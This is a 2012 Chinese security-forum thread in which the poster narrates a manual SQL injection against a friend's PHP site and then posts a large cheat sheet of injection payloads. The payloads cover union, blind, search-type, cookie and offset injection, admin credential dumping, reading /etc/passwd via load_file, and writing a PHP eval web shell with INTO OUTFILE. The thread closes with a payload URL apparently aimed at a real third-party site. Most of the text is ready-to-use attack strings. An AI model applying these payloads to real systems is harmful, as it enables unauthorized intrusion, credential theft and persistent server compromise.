找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3104|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~7 c$ N5 Q- @- P, u; G8 u, j
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
# f7 E6 w8 y# U% b我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。5 Q, M+ F2 O8 C$ i1 v
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。); i+ f% a- L2 ^: V# t2 U1 B4 w
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
' Z+ o% i9 n; U这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
1 [5 d0 ]0 D5 V# Q1 s5 q- ?Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
/ P: q, v; g' y( J5 }5 |8 M3 S/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
/ y4 S9 g) S5 o% u+ ^" n# o                         6 k2 _# U( ~; H
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
4 V/ J* V9 Z. g# o4 G7 O3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意* o9 j3 `5 s1 H3 Y3 B( u
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息$ \) @9 a) u; q2 b" [% k
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
/ |* o/ |6 W* V6 a4 @+ |. a, X有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
4 I5 K( Z. n, |% ^$ V0 f( m2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。! |; C5 s  M# B( n
我就用的是第二个思路,
. O6 u0 g6 p+ l  _' M. V8 z提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  ' }3 V0 X( |) X+ L- [
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,2 G2 K' a. F. o9 W1 x
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--8 k  r) r, |! ^# B0 b6 U, `" d, b
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。: Y9 S! a" O; P# B) i# E- g; E
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????% K5 U" j) E& M$ `) l
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
/ f8 R, H0 i1 Z( D3 P# Z提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
- v* J' I# _, z* o然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,9 r) O( G2 J7 F
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
' y6 k8 Z0 s' g# @% B下面是一些很普遍注入方式资料:* L  A, ?# o, Q# D% G
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
; k: c% A( H  `% E# P$ z拆半法
! |+ o0 {1 A' s######################################% l0 Z/ c% U- U/ T( M
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。: b" \9 u5 Q4 }, \$ r
and exists (select * from admin)
, i0 F! K6 E& y6 v( _and exists(select id from admin)
  U9 Z; X% |% N' {. Fand exists(select id from admin where id=1)
! @( ~6 ]6 \8 i. v) q' }and exists(select id from admin where id>1)
% d3 U( X' e& L" x; d3 g然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 . h0 b6 I  M% t+ g& y; L, m
and exists (select username from admin); J  v, @. H( T3 h6 f8 U
and exists (select password from admin)
7 Y5 {! ~% V  Rand exists (select id from admin where len(username)<10 and id=1); b( p; |$ g% o8 I1 [
and exists (select id from admin where len(username)>5 and id=1)
0 q: s+ D: _" P1 rand exists (select id from admin where len(username)=6 and id=1). c( r- ~$ U5 a" ]. c* }" |3 }
and exists (select id from admin where len(password)<10 and id=1)
% [  c& S3 X( [% s6 e1 ]# }, ^and exists (select id from admin where len(password)>5 and id=1)3 f; a& r; z* {+ N' k
and exists (select id from admin where len(password)=7 and id=1)7 j1 B. \! Y3 T7 N; q  R& Z5 S- J/ x
and (select top 1 asc(mid(username,1,1)) from admin)=974 O- i0 a$ Q% O1 P$ [, U4 ]
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。9 d" O0 ~0 @0 y
猜第二位把username,1,1改成username,2,1就可以了。# |& c3 m0 X/ X
猜密码把username改成password就OK了6 ~4 ~; t( j( r# V5 n  j
##################################################
* S; g2 Q9 P( _  f9 e1 r- \% h搜索型注入: O- F8 U+ s- q1 {8 d: s! l
##################################
6 C/ T9 |2 J, Q. }& n7 ?6 H6 i%' and 1=1 and '%'='1 t' i2 f! ]! E+ O7 `% Q
%' and exists (select * from admin) and '%'='6 A5 }1 A7 V9 r2 P, J- w9 O2 V4 S' Z
%' and exists(select id from admin where id=1) and '%'='
" {9 r- i# D+ L  {) o2 b%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
' ~# l! J% G& @2 k0 n8 j%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
* N9 ?" f+ p5 \7 ]; [0 R%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
6 H  i) z0 U  M& J  q' p7 e3 ~4 u这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='* A6 Z$ m: h: X' V- Y& O- F
对于MSSQL数据库,后面可以吧 and '%'='换成--
' H# @% \, }9 R7 A2 y+ A. H还有一点搜索型注入也可以使用union语句。
) v9 i# A6 t- F( t. T########################################################1 [3 F7 c! G) t; i8 O$ G$ V
联合查询。2 k5 s0 I7 n$ j% D; c
#####################################
! R+ f$ y3 Z. N. i" [$ D1 rorder by 10
9 H+ _$ E( \& w3 T. ~. nand 1=2 union select 1,2,3,4,5,6,7,8,9,105 A* I' `4 V5 i+ V1 Z
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin; Y& U  W$ b0 V; J& p$ r: e0 S7 ]
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
! l8 S5 t2 V; g很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
( r* i' ?" k2 O8 y: e5 k, W###################################+ Z, j, ^% W, ~: P% N* q
cookie注入& {, Q0 L% q1 U
###############################
  B1 K3 |2 k7 c7 ?( bhttp://www.******.com/shownews.asp?id=1270 U7 n( L& \% g; K* M. f: f* y
http://www.******.com/shownews.asp
1 y  _# n6 h% ^0 [% a. H4 Halert(="id="+escape("127"));
; O! ]8 M1 T& s4 |alert(="id="+escape("127 and 1=1"));0 i: U! R9 P2 r6 n5 k
alert(="id="+escape("127 order by 10"));$ n3 k, F& G- _
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));: ~7 p: @' k1 M8 ^7 V. L
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));& t/ f$ \$ z: e2 K6 e# u) h
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。* d5 h9 ]% Q: L7 o3 T5 l4 U5 B
###################################- w4 e2 {6 ?' F" H' N3 z
偏移注入: p) n5 O0 }, p2 W5 l. l2 H
###########################################################
+ z( L0 Y8 ^4 _, j3 n; ^+ ~union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
# y* R: O1 m# U* V4 t. f1 o5 z& punion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin% f! }# i7 P3 g1 W
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
& b$ {. C: ~7 t( |6 w, t: Runion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)- x* Z1 }% y- X8 [
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
6 A3 v9 W) [( }8 {+ w) q$ I" zunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
# h* m5 I4 Z" Munion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on4 t. W1 v  \. J7 o- J2 H
a.id=d.id)
; X# P( x/ l2 K% _' yand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
4 v$ B- Y7 T/ D' V9 u0 M( hand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 3 ]! P: C8 T1 J: J# D7 I& {: [
  2 H7 f1 X8 Y9 k0 A- K2 q7 @* D
============================================================================================================2 x0 `5 d* j6 q6 c
1.判断版本* r; z3 _8 O9 g
and ord(mid(version(),1,1))>513 ?) [, I2 V7 {' n# o
返回正常,说明大于4.0版本,支持ounion查询
0 J* a, \4 r1 g2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
/ W/ Z) b* @9 T% a' G  u$ F) Oand 2=4 union select 1,2,3,4,5,6,7,8,9--
9 {7 d8 E- S  A3.查看数据库版本及当前用户,
$ B# k/ s- |$ w2 I* c7 y/ F0 Eand 2=4 union select 1,user(),version(),4,5,6,7,8,9--7 x7 t! ?6 F" Y9 ^  @) U
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
0 B( J. K- z, P2 H; M0 T) M4.判断有没有写权限: {' b/ ~" Q" D7 Y
and (select count(*) from MySQL.user)>0-- 6 n5 a1 X; Q% o
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
1 E, ?! _1 l  T0 S) M& X9 y用不了这个命令,就学习土耳其黑客手法,如下! K& H' d2 g) D% ]
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
0 e7 a* U( w! Z' Q$ {* X# W& ^6.爆表,爆库
0 P+ ]" f; A; g6 _2 Xand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--, W: Q4 t9 r+ s) N# h7 t, g
7.爆列名,爆表, U$ N; O5 G. L, [& R. ]( h
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--8 T4 A4 Y7 l( _% r2 ]! W7 m
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。" A3 \( h+ u* U$ N7 s* p
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
9 V0 p- z8 Y* E9.爆字段内容! N' f$ s% p5 n( H$ X
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--2 C, M. z3 `9 A4 p+ S3 M+ ~  w
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表